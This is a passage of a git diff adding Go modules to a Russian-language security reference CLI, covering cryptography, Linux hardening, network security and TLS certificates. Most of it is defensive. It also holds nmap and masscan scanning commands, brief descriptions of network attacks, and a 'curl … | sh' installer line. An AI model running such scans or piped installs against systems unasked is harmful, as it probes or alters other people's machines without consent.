Encryption Standard) — стандарт, ключи 128/192/256 бит + ChaCha20 — альтернатива AES, быстро на мобильных без AES-NI + 3DES — устаревший (DES × 3), не использовать в новых системах + Blowfish — устарел + +Режимы AES: + ECB — каждый блок шифруется независимо (НЕБЕЗОПАСНО, паттерны видны!) + CBC — каждый блок XOR с предыдущим шифротекстом, нужен IV + CTR — счётчик + nonce, превращает блочный в поточный + GCM — CTR + аутентификация (рекомендуется!) + + AES-256-GCM — золотой стандарт симметричного шифрования. + +# OpenSSL пример: +openssl enc -aes-256-cbc -in file.txt -out file.enc -k password +openssl enc -d -aes-256-cbc -in file.enc -out file.txt -k password`) + + utils.Section("Асимметричная криптография (PKC)") + utils.Code(`Два математически связанных ключа: + Public key — публичный, можно раздавать всем + Private key — приватный, хранить в секрете + +Операции: + Шифрование: зашифровать публичным → расшифровать приватным + Подпись: подписать приватным → верифицировать публичным + +Алгоритмы: + RSA — классика, ключи 2048/4096 бит + Медленный для больших данных (используется для ключей и подписей) + ECDSA — на эллиптических кривых, меньший ключ = та же стойкость + 256 бит ECDSA ≈ 3072 бит RSA + Ed25519 — Edwards curve DSA, быстрый и надёжный (SSH, TLS 1.3) + ECDH — Elliptic Curve Diffie-Hellman (обмен ключами) + DHE — Diffie-Hellman Ephemeral (Perfect Forward Secrecy) + +RSA — как работает (упрощённо): + p, q — большие простые числа + n = p * q (публичный модуль) + e — публичная экспонента (обычно 65537) + d — приватная экспонента (из p, q, e) + Шифрование: C = M^e mod n + Расшифровка: M = C^d mod n + +# Генерация RSA ключа: +openssl genrsa -out private.key 4096 +openssl rsa -in private.key -pubout -out public.key + +# Генерация Ed25519: +openssl genpkey -algorithm Ed25519 -out private.key`) + + utils.Section("Хэш-функции") + utils.Code(`Хэш — детерминированное преобразование произвольных данных в строку фиксированной длины. + +Свойства криптографического хэша: + 1. Детерминизм — одни данные → один хэш всегда + 2. Скорость — быстро вычислять + 3. Лавинный эффект — 1 бит изменения → ~50% хэша меняется + 4. Необратимость — по хэшу нельзя восстановить данные + 5. Устойчивость к коллизиям — разные данные → разные хэши + +Алгоритмы: + MD5 — 128 бит, СЛОМАН (коллизии), только для чексумм + SHA-1 — 160 бит, СЛОМАН, не использовать для безопасности + SHA-256 — 256 бит, стандарт (семейство SHA-2) + SHA-512 — 512 бит, более стойкий + SHA-3 — альтернативный дизайн (Keccak), не SHA-2 + BLAKE2 — быстрее SHA, рекомендуется для checksums + BLAKE3 — новый, ещё быстрее + +Применение: + Контроль целостности файлов + Хранение паролей (с солью!) + Цифровые подписи (подписывается хэш, а не сами данные) + HMAC, доказательство работы (PoW) + +# Примеры: +sha256sum file.txt +echo -n "hello" | sha256sum +openssl dgst -sha256 file.txt`) + + utils.Section("Хранение паролей") + utils.Code(`НИКОГДА не хранить пароли в открытом виде! +НИКОГДА не использовать обычный MD5/SHA для паролей! + +Почему обычный хэш не подходит: + - Rainbow tables (предвычисленные таблицы хэшей) + - GPU-брутфорс: миллиарды SHA-256 в секунду + +Правильные алгоритмы для паролей (медленные!): + bcrypt — стандарт, cost factor масштабируется + scrypt — память-затратный (сложнее для GPU) + Argon2 — победитель PHC, рекомендуется (argon2id) + PBKDF2 — много итераций, используется в WPA2, iOS + +Соль (Salt) — случайные данные, добавляемые к паролю перед хэшированием. + Защита от rainbow tables. + Уникальная для каждого пользователя. + Хранится вместе с хэшем (не секрет). + +# Python пример: +import bcrypt +hashed = bcrypt.hashpw(b"password", bcrypt.gensalt(rounds=12)) +bcrypt.checkpw(b"password", hashed) # True + +# Формат bcrypt хэша: +$2b$12$saltbase64hashedpasswordbase64 +# $2b$ — версия +# $12$ — cost factor (2^12 итераций) +# следующие 22 символа — соль +# остальное — хэш`) + + utils.Section("MAC и аутентифицированное шифрование") + utils.Code(`MAC (Message Authentication Code) — обеспечивает целостность и подлинность. + В отличие от хэша: зависит от секретного ключа. + Защищает от подделки (атаки MITM). + +HMAC (Hash-based MAC): + HMAC(key, message) = H((key XOR opad) || H((key XOR ipad) || message)) + + HMAC-SHA256 — стандарт. + Используется в JWT, API-подписях, TLS. + +Аутентифицированное шифрование (AEAD): + Шифрование + MAC в одном алгоритме. + AES-GCM — самый популярный + ChaCha20-Poly1305 — альтернатива без AES-NI + + AEAD = шифрование (конфиденциальность) + + authentication (целостность + подлинность) + +# HMAC пример: +import hmac, hashlib +mac = hmac.new(b'secret_key', b'message', hashlib.sha256) +print(mac.hexdigest()) + +# OpenSSL: +echo -n "message" | openssl dgst -sha256 -hmac "secret_key"`) + + utils.Section("Perfect Forward Secrecy (PFS)") + utils.Code(`PFS — компрометация долгосрочного ключа не раскрывает прошлые сессии. + +Без PFS: + Злоумышленник записывает трафик → получает приватный ключ → + расшифровывает ВСЕ записанные сессии. + +С PFS (DHE/ECDHE): + Для каждой сессии генерируются временные (ephemeral) ключи. + После сессии они удаляются. + Расшифровать прошлые сессии НЕВОЗМОЖНО. + +TLS шифры с PFS: + ECDHE-RSA-AES256-GCM-SHA384 (рекомендуется) + ECDHE-ECDSA-AES256-GCM-SHA384 (рекомендуется) + DHE-RSA-AES256-GCM-SHA384 (медленнее) + +Шифры без PFS (избегать!): + RSA-AES256-CBC-SHA — RSA напрямую для обмена ключами`) + + utils.Section("Квантовая криптография и постквантовые алгоритмы") + utils.Code(`Квантовые компьютеры угрожают RSA и ECC (алгоритм Шора). +SHA-256 и AES-256 остаются стойкими (алгоритм Гровера лишь вдвое снижает стойкость). + +NIST Post-Quantum Standards (2024): + ML-KEM (CRYSTALS-Kyber) — обмен ключами (замена ECDH) + ML-DSA (CRYSTALS-Dilithium) — цифровые подписи + SLH-DSA (SPHINCS+) — подписи на решётках + +Гибридный подход (рекомендуется сейчас): + X25519 + ML-KEM — классика + постквантовый (используется в TLS 1.3, Chrome)`) + + utils.Footer() +} diff --git a/modules/infosecmodules/infosec_hardening.go b/modules/infosecmodules/infosec_hardening.go new file mode 100644 index 0000000..c80da67 --- /dev/null +++ b/modules/infosecmodules/infosec_hardening.go @@ -0,0 +1,248 @@ +package infosecmodules + +import ( + "rubric/utils" +) + +var HardeningModule = Module{ + Key: "hardening", + Aliases: []string{"h", "harden", "ужесточение"}, + Title: "Linux Hardening", + Description: "Усиление безопасности Linux: SSH, пакеты, аудит, CIS Benchmarks", + Run: showHardening, +} + +func showHardening() { + utils.Header("InfoSec — Linux Hardening") + + utils.Section("Принципы усиления безопасности") + utils.Code(`1. Минимизация поверхности атаки — отключить всё лишнее +2. Минимальные привилегии — только нужные права +3. Принцип fail-secure — при сбое → закрытое состояние +4. Аудит и логирование — знать что происходит +5. Обновления — патчи уязвимостей + +CIS Benchmarks — детальные руководства по hardening + https://www.cisecurity.org/cis-benchmarks/ + Уровни: Level 1 (базовый), Level 2 (продвинутый) + +Инструменты проверки: + Lynis — аудит безопасности Linux + OpenSCAP — соответствие стандартам (RHEL) + CIS-CAT — CIS Benchmarks scanner`) + + utils.Section("SSH Hardening") + utils.Code(`# /etc/ssh/sshd_config: +# Основное: +Port 2222 # нестандартный порт (защита от автосканов) +PermitRootLogin no # запретить вход root +PasswordAuthentication no # только ключи +PubkeyAuthentication yes +AuthorizedKeysFile .ssh/authorized_keys + +# Ограничения: +AllowUsers alice bob # белый список пользователей +AllowGroups sshusers # или группа +MaxAuthTries 3 # попытки аутентификации +LoginGraceTime 30 # секунд на вход +MaxStartups 3:50:10 # ограничить параллельные подключения +ClientAliveInterval 300 # keepalive каждые 5 минут +ClientAliveCountMax 2 # 2 попытки + +# Протокол: +Protocol 2 # только SSHv2 +HostKeyAlgorithms ssh-ed25519,ecdsa-sha2-nistp521,rsa-sha2-512 +KexAlgorithms curve25519-sha256,diffie-hellman-group-exchange-sha256 +Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com +MACs hmac-sha2-512-etm@openssh.com + +# Дополнительно: +X11Forwarding no +AllowTcpForwarding no # запретить туннели (если не нужны) +Banner /etc/ssh/banner.txt # показать предупреждение при входе +LogLevel VERBOSE + +# Применить: +sshd -t # проверить конфиг +systemctl restart sshd`) + + utils.Section("Усиление системы") + utils.Code(`# Обновления: +apt update && apt upgrade -y && apt autoremove -y # Debian +dnf update -y && dnf autoremove -y # RHEL + +# Автоматические обновления безопасности: +apt install unattended-upgrades +dpkg-reconfigure unattended-upgrades + +# Удалить ненужные пакеты: +apt list --installed | grep -v "essential\|required" +dnf list installed +# Удалить неиспользуемые: apt remove telnet rsh ftp ... + +# Отключить ненужные сервисы: +systemctl list-units --type=service --state=active +systemctl disable --now cups avahi-daemon bluetooth + +# Временная зона и NTP: +timedatectl set-timezone UTC +timedatectl set-ntp true`) + + utils.Section("Сетевое усиление") + utils.Code(`# /etc/sysctl.d/99-hardening.conf: + +# Защита от спуфинга: +net.ipv4.conf.all.rp_filter = 1 +net.ipv4.conf.default.rp_filter = 1 + +# Запретить ICMP redirect: +net.ipv4.conf.all.accept_redirects = 0 +net.ipv4.conf.default.accept_redirects = 0 +net.ipv6.conf.all.accept_redirects = 0 + +# Запретить source routing: +net.ipv4.conf.all.accept_source_route = 0 +net.ipv6.conf.all.accept_source_route = 0 + +# SYN cookies (защита от SYN flood): +net.ipv4.tcp_syncookies = 1 + +# Не отвечать на broadcast ping: +net.ipv4.icmp_echo_ignore_broadcasts = 1 + +# Игнорировать bogus ICMP: +net.ipv4.icmp_ignore_bogus_error_responses = 1 + +# Логировать martian пакеты: +net.ipv4.conf.all.log_martians = 1 + +# Запретить IP forwarding (если не роутер): +net.ipv4.ip_forward = 0 +net.ipv6.conf.all.forwarding = 0 + +# Применить: +sysctl -p /etc/sysctl.d/99-hardening.conf`) + + utils.Section("Усиление паролей и аутентификации") + utils.Code(`# PAM — Pluggable Authentication Modules +# /etc/security/pwquality.conf: +minlen = 14 # минимальная длина +minclass = 4 # классы символов (upper, lower, digit, other) +maxrepeat = 3 # не более 3 одинаковых подряд +dcredit = -1 # хотя бы 1 цифра +ucredit = -1 # хотя бы 1 заглавная +lcredit = -1 # хотя бы 1 строчная +ocredit = -1 # хотя бы 1 спецсимвол + +# /etc/security/faillock.conf (блокировка после неудач): +deny = 5 # блокировать после 5 неудачных попыток +unlock_time = 900 # разблокировать через 15 минут + +# /etc/login.defs: +PASS_MAX_DAYS 90 # смена пароля каждые 90 дней +PASS_MIN_DAYS 7 # не менять чаще раза в 7 дней +PASS_WARN_AGE 14 # предупреждать за 14 дней + +# Применить политику к существующему пользователю: +chage -M 90 -W 14 alice +chage -l alice # просмотр`) + + utils.Section("Аудит — auditd") + utils.Code(`auditd — система аудита Linux ядра. +Логирует системные вызовы, доступ к файлам, изменения конфигурации. + +# Установка: +apt install auditd +systemctl enable --now auditd + +# /etc/audit/rules.d/audit.rules: +# Мониторинг изменений аутентификационных файлов: +-w /etc/passwd -p wa -k identity +-w /etc/shadow -p wa -k identity +-w /etc/sudoers -p wa -k sudoers + +# Мониторинг входов в систему: +-w /var/log/faillog -p wa -k logins +-w /var/log/lastlog -p wa -k logins + +# Мониторинг команд с привилегиями: +-a always,exit -F arch=b64 -S execve -F euid=0 -k root_commands + +# Мониторинг сетевых соединений: +-a always,exit -F arch=b64 -S connect -k network_connect + +# Применить правила без перезапуска: +augenrules --load + +# Просмотр логов: +ausearch -k identity -ts recent # события за последнее время +ausearch -k root_commands -ui 0 # команды root +aureport --auth # отчёт по аутентификации +aureport --summary # общий отчёт +aureport --failed # только ошибки`) + + utils.Section("Защита файловой системы") + utils.Code(`# /etc/fstab — безопасные опции монтирования: +/dev/sda1 / ext4 defaults 0 1 +tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0 +tmpfs /var/tmp tmpfs defaults,noexec,nosuid,nodev 0 0 +/dev/sda3 /home ext4 defaults,noexec,nosuid,nodev 0 2 +/dev/sda4 /var ext4 defaults,nosuid,nodev 0 2 + +# noexec — нельзя запускать файлы +# nosuid — SUID биты игнорируются +# nodev — устройства игнорируются + +# Поиск файлов с SUID/SGID: +find / -perm /4000 -type f 2>/dev/null # SUID +find / -perm /2000 -type f 2>/dev/null # SGID +# Проверить нужны ли они, убрать ненужные: +chmod u-s /usr/bin/unnecessary + +# Файлы без владельца (orphaned): +find / -nouser -o -nogroup 2>/dev/null + +# Разрешения на критичные файлы: +chmod 600 /etc/shadow +chmod 644 /etc/passwd +chmod 440 /etc/sudoers +chmod 700 /root + +# AIDE — мониторинг целостности файлов: +apt install aide +aide --init +mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db +# Проверка (запускать регулярно): +aide --check`) + + utils.Section("Lynis — аудит безопасности") + utils.Code(`Lynis — инструмент аудита безопасности Linux. +Проверяет более 300 параметров, даёт рекомендации. + +# Установка: +apt install lynis +# или из репозитория (актуальная версия): +git clone https://github.com/CISOfy/lynis +cd lynis && ./lynis audit system + +# Запуск: +lynis audit system # полный аудит системы +lynis audit system --quick # быстрый +lynis audit system --pentest # более агрессивные проверки +lynis show tests # список всех тестов + +# Результаты: +# /var/log/lynis.log — детальный лог +# /var/log/lynis-report.dat — машиночитаемый отчёт +# Hardening Index: 0-100 (выше = лучше) + +# OpenSCAP (RHEL): +dnf install scap-security-guide openscap-scanner +# Проверка по CIS Benchmark: +oscap xccdf eval \ + --profile xccdf_org.ssgproject.content_profile_cis \ + --results results.xml \ + /usr/share/xml/scap/ssg/content/ssg-rhel9-ds.xml`) + + utils.Footer() +} diff --git a/modules/infosecmodules/infosec_netsec.go b/modules/infosecmodules/infosec_netsec.go new file mode 100644 index 0000000..31baa5f --- /dev/null +++ b/modules/infosecmodules/infosec_netsec.go @@ -0,0 +1,243 @@ +package infosecmodules + +import ( + "rubric/utils" +) + +var NetsecModule = Module{ + Key: "netsec", + Aliases: []string{"ns", "network", "сетьбез"}, + Title: "Сетевая безопасность", + Description: "Сканирование, анализ трафика, IDS/IPS, VPN, сегментация сети", + Run: showNetsec, +} + +func showNetsec() { + utils.Header("InfoSec — Сетевая безопасность") + + utils.Section("Сетевая разведка и сканирование") + utils.Code(`# nmap — сетевой сканер: +nmap 192.168.1.1 # базовое сканирование +nmap 192.168.1.0/24 # сканировать подсеть +nmap -sV 192.168.1.1 # определить версии сервисов +nmap -sV -sC 192.168.1.1 # + скрипты по умолчанию +nmap -p 22,80,443 192.168.1.1 # конкретные порты +nmap -p 1-1000 192.168.1.1 # диапазон портов +nmap -p- 192.168.1.1 # все 65535 портов +nmap -A 192.168.1.1 # OS, версии, скрипты, traceroute +nmap -O 192.168.1.1 # определить ОС +nmap -sn 192.168.1.0/24 # только ping sweep (без портов) +nmap -sS 192.168.1.1 # SYN scan (stealth, нужен root) +nmap -sU -p 53,161 192.168.1.1 # UDP сканирование +nmap -Pn 192.168.1.1 # не пинговать перед сканом +nmap --script vuln 192.168.1.1 # проверка уязвимостей +nmap -oA results 192.168.1.1 # сохранить в 3 форматах + +# masscan — очень быстрое сканирование: +masscan -p80,443 192.168.0.0/16 --rate=10000 + +# rustscan — быстрый сканер на Rust: +rustscan -a 192.168.1.1 -- -sV -sC`) + + utils.Section("Анализ трафика") + utils.Code(`# tcpdump — захват пакетов в CLI: +tcpdump -i eth0 # всё с интерфейса +tcpdump -i eth0 port 80 # только HTTP +tcpdump -i eth0 host 192.168.1.10 # к/от хоста +tcpdump -i eth0 'tcp and port 443' # HTTPS +tcpdump -i eth0 -w capture.pcap # сохранить в файл +tcpdump -r capture.pcap # читать файл +tcpdump -i eth0 -n -A port 80 # без разрешения имён, ASCII +tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0' # SYN пакеты + +# Фильтры BPF (Berkeley Packet Filter): +host 10.0.0.1 # хост +net 192.168.1.0/24 # подсеть +port 22 # порт +tcp / udp / icmp # протокол +src host 10.0.0.1 # только источник +dst port 80 # только назначение +not port 22 # исключить SSH`) + + utils.Println(utils.ColorBold + "Wireshark — GUI анализ:" + utils.ColorReset) + utils.Code(`# Фильтры дисплея Wireshark: +ip.addr == 192.168.1.1 # IP +tcp.port == 80 # порт +http # только HTTP +http.request.method == "POST" # POST запросы +tls.handshake # TLS handshake +!(arp or dns) # исключить ARP и DNS +tcp.flags.syn == 1 # SYN пакеты +frame contains "password" # строка в пакете +tcp.analysis.retransmission # ретрансмиссии + +# Tshark — CLI версия Wireshark: +tshark -i eth0 -f "port 80" -w output.pcap +tshark -r capture.pcap -T fields -e ip.src -e http.host`) + + utils.Section("IDS/IPS — системы обнаружения вторжений") + utils.Code(`IDS (Intrusion Detection System) — обнаруживает, уведомляет +IPS (Intrusion Prevention System) — обнаруживает И блокирует + +Типы: + NIDS — сетевой (анализирует трафик) + HIDS — хостовый (файлы, логи, процессы) + Signature-based — сравнение с известными паттернами + Anomaly-based — отклонение от нормы (ML) + +Snort — популярный NIDS/IPS: + snort -i eth0 -c /etc/snort/snort.conf + snort -r capture.pcap -c /etc/snort/snort.conf + +# Правило Snort: +alert tcp any any -> $HOME_NET 22 ( + msg:"Brute force SSH"; + flow:to_server; + threshold:type both, track by_src, count 5, seconds 60; + sid:1000001; rev:1; +) + +Suricata — современная замена Snort: + Многопоточный, поддерживает Lua-скрипты, YAML-конфиг + +OSSEC / Wazuh — HIDS: + Анализ логов, мониторинг файловой системы (FIM), + мониторинг реестра Windows, активный ответ`) + + utils.Section("Брандмауэры и сегментация") + utils.Code(`Типы файрволов: + Packet Filter — фильтрация по IP/порту/протоколу (L3-L4) + Stateful — отслеживает состояние соединений + Application (L7) — анализирует контент приложений + WAF — Web Application Firewall (HTTP/HTTPS) + NGFW — Next-Gen FW (IPS + AppID + SSL inspection) + +Сегментация сети: + DMZ — демилитаризованная зона (веб-серверы, доступные снаружи) + Разделение на VLAN по функции: серверная, управление, пользователи + Micro-segmentation — в облаке и K8s (Network Policy) + +# iptables (Linux): +# Разрешить входящий SSH: +iptables -A INPUT -p tcp --dport 22 -j ACCEPT + +# Разрешить установленные соединения: +iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT + +# Заблокировать всё остальное входящее: +iptables -P INPUT DROP +iptables -P FORWARD DROP +iptables -P OUTPUT ACCEPT + +# Сохранить правила: +iptables-save > /etc/iptables/rules.v4 + +# nftables (современная замена iptables): +nft add table ip filter +nft add chain ip filter input { type filter hook input priority 0 \; policy drop \; } +nft add rule ip filter input tcp dport 22 accept +nft add rule ip filter input ct state established,related accept + +# Kubernetes Network Policy: +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: deny-all +spec: + podSelector: {} + policyTypes: [Ingress, Egress] +--- +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: allow-api +spec: + podSelector: + matchLabels: + app: api + ingress: + - from: + - podSelector: + matchLabels: + app: frontend + ports: + - port: 8000`) + + utils.Section("VPN — виртуальные частные сети") + utils.Code(`Типы VPN: + Remote Access VPN — подключение удалённых пользователей + Site-to-Site VPN — соединение офисов + Split Tunneling — часть трафика через VPN, остальное напрямую + +Протоколы: + WireGuard — современный, быстрый, простой (рекомендуется) + OpenVPN — популярный, гибкий, на TLS + IPsec — стандарт, сложная настройка + L2TP/IPsec — устаревает + PPTP — СЛОМАН, не использовать + +# WireGuard — быстрая настройка: +# Установка: +apt install wireguard + +# Генерация ключей: +wg genkey | tee privatekey | wg pubkey > publickey + +# /etc/wireguard/wg0.conf (сервер): +[Interface] +PrivateKey = +Address = 10.0.0.1/24 +ListenPort = 51820 +PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE + +[Peer] +PublicKey = +AllowedIPs = 10.0.0.2/32 + +# /etc/wireguard/wg0.conf (клиент): +[Interface] +PrivateKey = +Address = 10.0.0.2/24 +DNS = 1.1.1.1 + +[Peer] +PublicKey = +Endpoint = server_ip:51820 +AllowedIPs = 0.0.0.0/0 # весь трафик через VPN +PersistentKeepalive = 25 + +# Запуск: +wg-quick up wg0 +systemctl enable wg-quick@wg0`) + + utils.Section("Сетевые атаки и защита") + utils.Code(`ARP Spoofing / MITM: + Атака: отправка ложных ARP-ответов → перехват трафика + Защита: Dynamic ARP Inspection (DAI) на коммутаторе + +DNS Spoofing / Cache Poisoning: + Атака: подмена DNS-ответов + Защита: DNSSEC, DNS over HTTPS (DoH), DNS over TLS (DoT) + +DDoS — Distributed Denial of Service: + Volumetric — переполнение канала (UDP flood, DNS amplification) + Protocol — исчерпание ресурсов (SYN flood, Ping of Death) + Application — L7 атаки (HTTP flood, Slowloris) + Защита: CDN (Cloudflare), rate limiting, scrubbing centers + +SYN Flood: + Атака: отправка SYN без ACK → очередь half-open соединений + Защита: SYN cookies (sysctl net.ipv4.tcp_syncookies=1) + +Man-in-the-Middle (MITM): + Перехват и изменение трафика + Защита: TLS с пиннингом сертификата, HSTS, HPKP + +Защита от сканирования: + fail2ban — блокировка после N неудачных попыток + Port knocking — последовательность "стуков" для открытия порта + Honeypots — приманки для обнаружения злоумышленников`) + + utils.Footer() +} diff --git a/modules/infosecmodules/infosec_pki.go b/modules/infosecmodules/infosec_pki.go new file mode 100644 index 0000000..24a7872 --- /dev/null +++ b/modules/infosecmodules/infosec_pki.go @@ -0,0 +1,230 @@ +package infosecmodules + +import ( + "rubric/utils" +) + +var PkiModule = Module{ + Key: "pki", + Aliases: []string{"pk", "tls", "ssl", "certs"}, + Title: "PKI, TLS и сертификаты", + Description: "PKI, X.509, TLS/SSL, цепочки доверия, Let's Encrypt, управление сертификатами", + Run: showPki, +} + +func showPki() { + utils.Header("InfoSec — PKI, TLS и сертификаты") + + utils.Section("PKI — инфраструктура открытых ключей") + utils.Code(`PKI (Public Key Infrastructure) — система для управления цифровыми сертификатами. + +Компоненты: + CA (Certificate Authority) — удостоверяющий центр + Root CA — корневой CA (самоподписанный, доверяем принудительно) + Intermediate CA — промежуточный CA (подписан Root CA) + Certificate — сертификат (публичный ключ + метаданные, подписанные CA) + CRL (Certificate Revocation List) — список отозванных сертификатов + OCSP (Online Certificate Status Protocol) — онлайн-проверка статуса + +Цепочка доверия: + Root CA → Intermediate CA → End-Entity Certificate (ваш сайт) + + Браузер доверяет Root CA (встроен в ОС/браузер). + Root CA подписал Intermediate CA. + Intermediate CA подписал ваш сертификат. + Браузер верифицирует всю цепочку. + +Публичные CA: + Let's Encrypt — бесплатный, автоматический + DigiCert — коммерческий + Sectigo — коммерческий + GlobalSign — коммерческий`) + + utils.Section("X.509 сертификат") + utils.Code(`X.509 — стандартный формат цифровых сертификатов. + +Поля сертификата: + Version — версия (обычно 3) + Serial Number — уникальный номер + Issuer — кто выдал (CA) + Subject — для кого (CN, O, OU, C...) + Validity — срок действия (Not Before / Not After) + Public Key — публичный ключ и алгоритм + Extensions — расширения (SANs, Key Usage, EKU...) + Signature — подпись CA + +Subject Alternative Names (SANs): + Поле для нескольких доменов/IP в одном сертификате. + Обязательно с 2017 года (CN игнорируется браузерами). + Пример: DNS:example.com, DNS:*.example.com, IP:1.2.3.4 + +Типы сертификатов: + DV (Domain Validation) — подтверждает владение доменом + OV (Organization Validation) — подтверждает организацию + EV (Extended Validation) — расширенная проверка (зелёный замок) + Wildcard *.example.com — все субдомены одного уровня + +# Просмотр сертификата: +openssl x509 -in cert.pem -text -noout +openssl s_client -connect example.com:443 -showcerts +echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -noout -dates`) + + utils.Section("TLS — протокол Transport Layer Security") + utils.Code(`TLS — криптографический протокол для защиты соединений. +HTTPS = HTTP + TLS. + +История версий: + SSL 2.0 / 3.0 — СЛОМАНЫ, не использовать + TLS 1.0 / 1.1 — устарели, отключены в браузерах с 2020 + TLS 1.2 — приемлемо, широко используется + TLS 1.3 — текущий стандарт, быстрее и безопаснее + +TLS 1.3 улучшения: + - 1-RTT handshake (вместо 2-RTT в 1.2) + - 0-RTT resumption (возможна реплей-атака, осторожно) + - Убраны ненадёжные алгоритмы (RC4, MD5, SHA-1, RSA key exchange) + - PFS обязателен (все cipher suites используют ECDHE) + +TLS 1.2 Handshake: + 1. ClientHello — версии, cipher suites, random + 2. ServerHello — выбор версии/cipher, сертификат + 3. Key Exchange — обмен ключами (DHE/ECDHE) + 4. Finished — проверка, начало передачи данных`) + + utils.Println(utils.ColorBold + "Cipher Suites — наборы алгоритмов:" + utils.ColorReset) + utils.Code(`TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 + +Расшифровка: + TLS — протокол + ECDHE — обмен ключами (PFS!) + RSA — аутентификация сервера + AES_256_GCM — шифрование (AEAD) + SHA384 — HMAC / PRF + +Рекомендованные (TLS 1.2): + TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 + TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 + TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 + +TLS 1.3 (фиксированный набор): + TLS_AES_256_GCM_SHA384 + TLS_AES_128_GCM_SHA256 + TLS_CHACHA20_POLY1305_SHA256`) + + utils.Section("Управление сертификатами") + utils.Code(`# Генерация CSR (Certificate Signing Request): +# 1. Сгенерировать приватный ключ: +openssl genrsa -out server.key 4096 +# или Ed25519: +openssl genpkey -algorithm Ed25519 -out server.key + +# 2. Сгенерировать CSR: +openssl req -new -key server.key -out server.csr \ + -subj "/CN=example.com/O=MyOrg/C=RU" + +# 3. Добавить SAN в CSR: +openssl req -new -key server.key -out server.csr \ + -subj "/CN=example.com" \ + -addext "subjectAltName=DNS:example.com,DNS:www.example.com,IP:1.2.3.4" + +# Самоподписанный сертификат (для тестирования): +openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem \ + -days 365 -nodes \ + -subj "/CN=localhost" \ + -addext "subjectAltName=DNS:localhost,IP:127.0.0.1" + +# Проверить CSR: +openssl req -text -noout -in server.csr + +# Проверить сертификат: +openssl x509 -text -noout -in server.crt +openssl verify -CAfile ca-chain.pem server.crt + +# Проверить что ключ соответствует сертификату: +openssl x509 -noout -modulus -in server.crt | md5sum +openssl rsa -noout -modulus -in server.key | md5sum`) + + utils.Section("Let's Encrypt и ACME") + utils.Code(`Let's Encrypt — бесплатный автоматический CA. +ACME — протокол автоматической выдачи сертификатов. + +# Certbot (стандартный клиент): +certbot --nginx -d example.com -d www.example.com # Nginx +certbot --apache -d example.com # Apache +certbot certonly --standalone -d example.com # standalone +certbot certonly --dns-cloudflare -d "*.example.com" # wildcard через DNS + +# Автоообновление (systemd timer или cron): +certbot renew --dry-run # проверить +# Systemd timer создаётся автоматически certbot-ом + +# Файлы сертификата: +/etc/letsencrypt/live/example.com/ + cert.pem — сертификат домена + chain.pem — промежуточные CA + fullchain.pem — cert + chain (для nginx/apache) + privkey.pem — приватный ключ + +# acme.sh — альтернативный клиент: +curl https://get.acme.sh | sh +acme.sh --issue -d example.com --webroot /var/www/html +acme.sh --install-cert -d example.com \ + --cert-file /etc/nginx/ssl/cert.pem \ + --key-file /etc/nginx/ssl/key.pem \ + --fullchain-file /etc/nginx/ssl/fullchain.pem \ + --reloadcmd "nginx -s reload"`) + + utils.Section("Собственный CA (Internal PKI)") + utils.Code(`# Создание Root CA: +mkdir -p ca/{certs,crl,newcerts,private} +chmod 700 ca/private +touch ca/index.txt +echo 1000 > ca/serial + +openssl genrsa -aes256 -out ca/private/ca.key 4096 +chmod 400 ca/private/ca.key + +openssl req -new -x509 -days 3650 -key ca/private/ca.key \ + -out ca/certs/ca.crt \ + -subj "/C=RU/O=MyOrg/CN=MyOrg Root CA" + +# Подпись сертификата своим CA: +openssl x509 -req -in server.csr \ + -CA ca/certs/ca.crt -CAkey ca/private/ca.key \ + -CAcreateserial -out server.crt \ + -days 365 -extensions v3_req + +# Распространение Root CA: +# Linux: cp ca.crt /usr/local/share/ca-certificates/ && update-ca-certificates +# Windows: Сертификаты → Доверенные корневые центры + +# cert-manager (Kubernetes): +# Автоматическое управление сертификатами в K8s +# Поддерживает Let's Encrypt, Vault, собственный CA`) + + utils.Section("Проверка TLS конфигурации") + utils.Code(`# SSL Labs — онлайн тест: +# https://www.ssllabs.com/ssltest/ + +# testssl.sh — локальный тест: +testssl.sh example.com +testssl.sh --protocols example.com # только протоколы +testssl.sh --cipher-per-proto example.com + +# nmap: +nmap --script ssl-enum-ciphers -p 443 example.com + +# Проверить с командной строки: +openssl s_client -connect example.com:443 -tls1_2 +openssl s_client -connect example.com:443 -tls1_3 +curl -vI https://example.com 2>&1 | grep -E "TLS|SSL|cipher" + +# Проверить дату истечения: +echo | openssl s_client -connect example.com:443 2>/dev/null \ + | openssl x509 -noout -enddate + +# Проверить HSTS: +curl -sI https://example.com | grep -i strict`) + + utils.Footer() +} diff --git a/modules/infosecmodules/infosec_registry.go b/modules/infosecmodules/infosec_registry.go new file mode 100644 index 0000000..0ac25a7 --- /dev/null +++ b/modules/infosecmodules/infosec_registry.go @@ -0,0 +1,117 @@ +package infosecmodules + +import ( + "fmt" + "rubric/utils" + "strings" +) + +type Module struct { + Key string + Aliases []string + Title string + Description string + Run func() +} + +var All = []Module{ + BasicsModule, + CryptoModule, + PkiModule, + NetsecModule, + WebModule, + HardeningModule, + AuthnModule, + ToolsModule, +} + +func Find(key string) (Module, bool) { + key = strings.ToLower(strings.TrimSpace(key)) + for _, m := range All { + if m.Key == key { + return m, true + } + for _, a := range m.Aliases { + if a == key { + return m, true + } + } + } + return Module{}, false +} + +func ListModules() { + fmt.Printf("\n%s%sРазделы справочника InfoSec:%s\n\n", + utils.ColorBold, utils.ColorCyan, utils.ColorReset) + for i, m := range All { + fmt.Printf(" %s%d.%s %-14s — %s\n", + utils.ColorDim, i+1, utils.ColorReset, + utils.ColorYellow+utils.ColorBold+m.Key+utils.ColorReset, + m.Title, + ) + } + fmt.Println() +} + +// Keywords возвращает ключевые слова для 